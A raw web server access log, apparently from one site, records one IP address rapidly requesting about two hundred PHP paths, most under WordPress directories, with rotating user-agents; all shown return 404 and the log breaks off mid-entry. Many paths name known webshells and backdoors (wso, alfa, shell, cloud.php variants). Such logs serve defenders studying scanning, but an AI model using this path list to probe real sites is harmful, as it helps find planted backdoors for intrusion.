[17/Jul/2025:16:40:16 +0300] "GET /google.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:16 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:16 +0300] "GET /ovatools.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:17 +0300] "GET /sidwso.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:17 +0300] "GET /worksec.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:17 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:40:17 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:17 +0300] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:17 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:17 +0300] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:17 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:18 +0300] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:18 +0300] "GET /wp-includes/random_compat/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:18 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:18 +0300] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:18 +0300] "GET /wp-admin/maint/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:18 +0300] "GET /wp-content/upgrade/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:18 +0300] "GET /images/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:18 +0300] "GET /wp-admin/user/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:19 +0300] "GET /wp-admin/js/widgets/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:19 +0300] "GET /wp-admin/network/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:19 +0300] "GET /wp-admin/images/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:19 +0300] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:19 +0300] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:19 +0300] "GET /wp-admin/includes/themes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:19 +0300] "GET /Simple.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:19 +0300] "GET /wp-blog-header.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:19 +0300] "GET /style2.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:20 +0300] "GET /wp-scripts.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:20 +0300] "GET /adminfuns.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:20 +0300] "GET /cjfuns.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:20 +0300] "GET /comfunctions.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:20 +0300] "GET /delpaths.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:20 +0300] "GET /epinyins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:20 +0300] "GET /filefuns.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:20 +0300] "GET /hinfofuns.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:21 +0300] "GET /qfunctions.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:21 +0300] "GET /qinfofuns.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:21 +0300] "GET /thoms.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:21 +0300] "GET /postnews.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:21 +0300] "GET /admin-ajax.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:21 +0300] "GET /link.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:21 +0300] "GET /ms-themes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:21 +0300] "GET /my-sites.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:21 +0300] "GET /media.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:22 +0300] "GET /nav-menus.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:22 +0300] "GET /menu.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:22 +0300] "GET /options-head.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:22 +0300] "GET /revision.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:22 +0300] "GET /widgets.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:22 +0300] "GET /term.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:22 +0300] "GET /system_log.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:22 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:23 +0300] "GET /moded.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:23 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:23 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:23 +0300] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:23 +0300] "GET /upgrade.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:23 +0300] "GET /gh.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:23 +0300] "GET /version.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:23 +0300] "GET /head.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:24 +0300] "GET /index1.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:24 +0300] "GET /theme-insqbzk.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:24 +0300] "GET /good.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:24 +0300] "GET /main.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:24 +0300] "GET /wp-22.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:24 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:24 +0300] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:24 +0300] "GET /wsoyanz.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:24 +0300] "GET /wp-includes/fonts/css.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:25 +0300] "GET /wp-content/updates.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:25 +0300] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:40:25 +0300] "GET /wp-admin/images/install.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:25 +0300] "GET /alfa-rex.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:25 +0300] "GET /wp-admin/network/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:25 +0300] "GET /cgi-bin/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:25 +0300] "GET /css/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:25 +0300] "GET /wp-admin/user/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:26 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:26 +0300] "GET /wp-admin/images/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:26 +0300] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:26 +0300] "GET /wp-admin/cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:26 +0300] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:26 +0300] "GET /wp-includes/wso112233.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:26 +0300] "GET /wp-includes/shell20211028.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:26 +0300] "GET /.well-known/bala.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:27 +0300] "GET /wp-content/dropdown.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:27 +0300] "GET /wp-includes/dropdown.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:27 +0300] "GET /wp-admin/repeater.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:27 +0300] "GET /wp-includes/repeater.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:27 +0300] "GET /wp-content/repeater.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:27 +0300] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:27 +0300] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:27 +0300] "GET /cache-compat.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:27 +0300] "GET /ajax-actions.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:28 +0300] "GET /wp-admin/ajax-actions.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:28 +0300] "GET /wp-consar.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:28 +0300] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:40:28 +0300] "GET /alfanew.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:40:28 +0300] "GET /adminfuns.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:40:28 +0300] "GET /alfanew2.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:40:28 +0300] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:28 +0300] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:29 +0300] "GET /wp-content/style-css.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:29 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:29 +0300] "GET /chosen.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:29 +0300] "GET /wp-admin/wp-configs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:29 +0300] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:29 +0300] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:29 +0300] "GET /cgi-bin/mariju.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:29 +0300] "GET /wp-includes/css/options.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:30 +0300] "GET /sx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 